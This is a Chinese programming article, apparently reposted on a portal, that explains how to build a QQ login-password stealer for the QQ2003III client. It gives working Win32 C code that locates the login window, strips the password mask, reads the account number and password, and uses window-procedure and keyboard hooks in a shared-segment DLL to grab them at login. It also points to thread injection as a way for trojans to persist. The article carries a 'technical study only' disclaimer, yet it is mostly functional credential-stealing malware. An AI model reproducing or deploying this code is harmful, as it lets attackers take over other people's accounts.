分享
 
 
 

利用SDK开发“窃取QQ登陆密码”程序

王朝vc·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

声明:本文旨在探讨技术,请读者不要使用文章中的方法进行任何损人不利己的事!

随着QQ软件用户群的日益庞大,树大招风,针对QQ制作的木马,病毒程序层出不穷,本文只讨论的QQ密码窃取技术,希望大家不要拿去做损人不利己的事,虽然腾讯公司已经开始重视这类问题,并且确实下了不少功夫,但是盾再坚,也有相应的攻破它的方法,本文就是针对腾讯最新版的QQ2003III Build0117为攻破目标,好了,费话少说,我们开始吧,下面是程序截取QQ登陆密码截图:

一 取得QQ登录窗口句柄:

说起这个,大家一定会想到用FindWindow这个API,不错,我也是使用这个API得到了登陆窗口的句柄,不过用了点小技巧,大家看到的QQ的登录窗口标题本身是设的空的,然合再加上一个假的标题:“QQ用户登录”“QQ注册向导”,这样就可以防止别人用FindWindow来得到窗口的句柄,当别人枚举窗口名为“QQ用户登录”或“QQ注册向导”的窗口时,结果是根本找不到。因为它显示的标题是假的。腾讯的技术人员看来确是下了功夫的.不过FindWindow并不是非要标题栏才能找得到窗口的,以下是我查找QQ登陆窗口的代码:

HWND hQQlog;//QQ登陆窗口句柄

if (!IsWindow(hQQlog))

{

hQQlog = NULL;

do

{

hQQlog = FindWindow("#32770", NULL);

hLogBtn = FindWindowEx(hQQlog, 0, "Button", "登录");

hNoBtn = FindWindowEx(hQQlog, 0, "Button", "取消");

hRgBtn = FindWindowEx(hQQlog, 0, "Button", "注册向导");

} while ( (hRgBtn == NULL)&& (hLogBtn == NULL) && (hNoBtn == NULL)); //当这三个QQ登陆窗口按钮都存在的情况下肯定就是QQ登陆窗口无疑了.

二 取得QQ登录号码和QQ登录密码:

QQ登录窗口句柄得到了就好办了,以下是我取QQ号码和QQ密码的代码:

void GetPasswd(HWND hWndlog)

{

HWND hWndCbo,hQqNum,hWndEdt;

long nType;

hWndCbo=GetDlgItem(hWndlog,138); //取得QQ号码输入框(组合框)句柄,138是该窗口ID

hQqNum=GetWindow(hWndCbo,GW_CHILD);//由于窗口是CBS_DROPDOWN样式,因此它有一个EDIT子窗口,取得该EDIT句柄

GetWindowText(hQqNum,szQqNum,20);//取得QQ登录号码

hWndEdt = FindWindowEx(hWndlog, 0, "Edit", NULL);//取得QQ密码框句柄

nType = SendMessage(hWndEdt, EM_GETPASSWORDCHAR, 0, 0);//得到该密码框属性,用做取完密码后恢复该属性用

PostMessage( hWndEdt, EM_SETPASSWORDCHAR, 0, 0);//去除密码框密码属性

Sleep (100);//停止100毫秒,这点很重要

SendMessage (hWndEdt,WM_GETTEXT,255,(LPARAM)szPasswd);//取出QQ登录密码

PostMessage (hWndEdt,EM_SETPASSWORDCHAR,nType,0);//恢复QQ密码框属性

DialogBoxParam(hInstDLL, MAKEINTRESOURCE(IDD_DIALOG), NULL, (DLGPROC)ProcMain, 0);//显示结果

}

需要说明的几点是:

Window98下可以直接用GetWindowText取得密码框文本,Window2000/XP等NT系统对这方面做了防范.如果发现该文本框有密码框属性,GetWindowText会失效,所以要先取掉密码框属性.

我这里是针对腾讯最新版QQ2003III Build0117,其它版本QQ取QQ号码时候如果组合框不是CBS_DROPDOWN样式,会取不出来.

三 钩子:

好了,那么下面的问题是,这段窃取密码的操作应该在什么时候执行呢?大家可能想到用计时器来控制取密码的时间,类似这个样子:

void CQQTailDlg::OnTimer(UINT nIDEvent)

{

GetPasswd(hWndlog);

}

这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中招者正在输入密码和QQ号码,取密码的操作就已经执行了......

讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我就用钩子来实现QQ密码窃取这个功能.

首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,Windows系统充当各省的巡抚;至于钩子,则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。

问题具体到了“QQ登录密码窃取”上面,就是我们需要一个钩子,在用户单击了“登录”按钮之后,执行取QQ密码和号码的操作。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明):

// 钩子过程,监视“登录”的命令消息

LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)

{

static HWND hRturn,hRgIN,hQQChk,hClose,hRgDlg;

CWPSTRUCT *p = (CWPSTRUCT *)lParam;

// 捕获“登录”按钮

switch(p->message)

{

case WM_COMMAND:

switch(LOWORD(p->wParam))

{

case 1:

GetPasswd(hProLog);

break;

case 105:

if(!IsWindow(hRgDlg))

{

SetHook(NULL);

do

{

hRgDlg = FindWindow("#32770",NULL);

hRturn = FindWindowEx(hRgDlg,0,"Button","返回登陆框");

} while ((hRgDlg == NULL)&&(hRturn == NULL));

if (hRgDlg != NULL)

SetHook(hRgDlg);

}

break;

case 12324:

do

{

hRgDlg = FindWindow("#32770",NULL);

hRturn = FindWindowEx(hRgDlg,0,"Button","返回登陆框");

} while ((hRgDlg == NULL)&&(hRturn == NULL));

do

{

hRgIN = FindWindowEx(hRgDlg,0,"#32770",NULL);

hQQChk = GetDlgItem(hRgIN,118);

}while ((hRgIN == NULL)&&(hQQChk == NULL));

if(SendMessage(hQQChk,BM_GETCHECK,0,0))

{

GetPasswdEx(hRgIN);

}

else

{

SetHook(NULL);

}

break;

}

break;

case WM_DESTROY:

if ((hRgDlg == NULL)&&(hRturn == NULL))

{

SetHook(NULL);

hClose = FindWindow("QQPASS","QQ 密码记者 Ver 1.0");

SendMessage(hClose,WM_CLOSE,0,0);

}

break;

}

return CallNextHookEx(hWndProc, nCode, wParam, lParam);

}

在此我说明几点:

这个过程包括了通过注册向导登录QQ窃取密码的过程.原理差不多,我就不再具体讲解了,大家可以看看本文所附的原码,本文只讨论通过QQ登录对话框登录QQ的密码窃取方法.

lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:

typedef struct {

LPARAM lParam;

WPARAM wParam;

UINT message;

HWND hwnd;

} CWPSTRUCT, *PCWPSTRUCT;

这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。

CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应

熟悉SDK的朋友一定清楚WM_COMMAND这个消息,本文正是通过对这部分消息的处理得到用户按下"登录"按钮的事件的,1是登录按钮的窗口ID.

实际上,很多人并不会按下"登录"按钮登录QQ,有些人偏爱使用"ENTER"这个登录热键登录QQ,所以我们还需要挂接一个键盘钩子.以下是具体代码:

// 键盘钩子过程,监视“登录(Enter)”的热键消息

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)

{

if (wParam == VK_RETURN && lParam == 0)

GetPasswd(hProLog);

return CallNextHookEx(hWndKey, nCode, wParam, lParam);

}

在这里唯一要解释的一点就是lParam == 0子句。很明显这个if判断是在判断热键Enter的输入,那么lParam == 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam == 0的意思就是在WM_KEYDOWN的时候调用GetPasswd(hProLog),也就是说,如果去掉这个条件,GetPasswd(hProLog)将会被调用两次(连同WM_KEYUP的一次)。

四 挂接钩子

接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?

挂接钩子的目标,肯定是QQ登录窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接:

// 挂接钩子

BOOL WINAPI SetHook(HWND hQQlog)

{

BOOL bRet = FALSE;

hProLog=hQQlog;

if ((hQQlog != NULL) && (IsWindow(hQQlog)))

{

DWORD dwThreadID = GetWindowThreadProcessId(hQQlog, NULL);

// 挂接钩子

hWndProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc,hInstDLL, dwThreadID);

hWndKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc,hInstDLL, dwThreadID);

bRet = (hWndProc != NULL) && (hWndKey != NULL);

}

else

{

// 卸载钩子

bRet = UnhookWindowsHookEx(hWndProc) && UnhookWindowsHookEx(hWndKey);

hWndProc = NULL;

hWndKey = NULL;

}

return bRet;

}

需要说明的一点是hQQlog是QQ登录窗口的句柄,是通过调用这个DLL的EXE文件传入的.

到此为止,以上所有的代码都位于一个QQHook.dll的动态链接库之中,关于DLL我就不多介绍了,请自己查阅相关资料和本文的配套源代码。

DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。

五 DLL的共享数据段

在此感谢好友titilima的《“QQ尾巴病毒”核心技术的实现》一文中关于DLL和HOOK的描述,十分形象易懂,我所做的,只是把他文中的这部分重新引用了一下.

如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问:

// 定义共享数据段

#pragma data_seg("shared")

HHOOK hWndProc = NULL; // 窗口过程钩子句柄

HHOOK hWndKey = NULL; // 键盘钩子句柄

HWND hProLog = NULL;

#pragma data_seg()

#pragma comment(linker, "/section:shared,rws")

这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?

是的,密码窃取失败了!

好了,我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系:

这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量hQQlog来说,图中左边的DLL通过EXE的传入获得了QQ登录框句柄,然而如果没有共享段的话,那么右边的DLL中,hQQlog仍然是NULL。共享段于此的意义也就体现出来了,就是为了保证EXE、DLL、QQ三者之间的联系。

在钩子挂接成功之后,你可以通过一些有模块查看功能的进程管理器看一看,就会发现QQHook.dll也位于QQ.exe的模块之中。

六 后记

写到这里,所有功能都已经基本实现了,本文所附的程序只是一个测试程序,没有做任何保护自身的措施,实际上,目前许多流行的木马和病毒都使用线程插入技术,来实现自身的保护,通过把自身线程注入系统进程来时刻监视EXE文件的情况,来实现病毒,木马的"野火烧不尽,春风吹又生",真是高明,有兴趣的朋友可以参看一下Jeffrey Richter《Windows核心编程》的22章.

点此下载本文配套源码

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有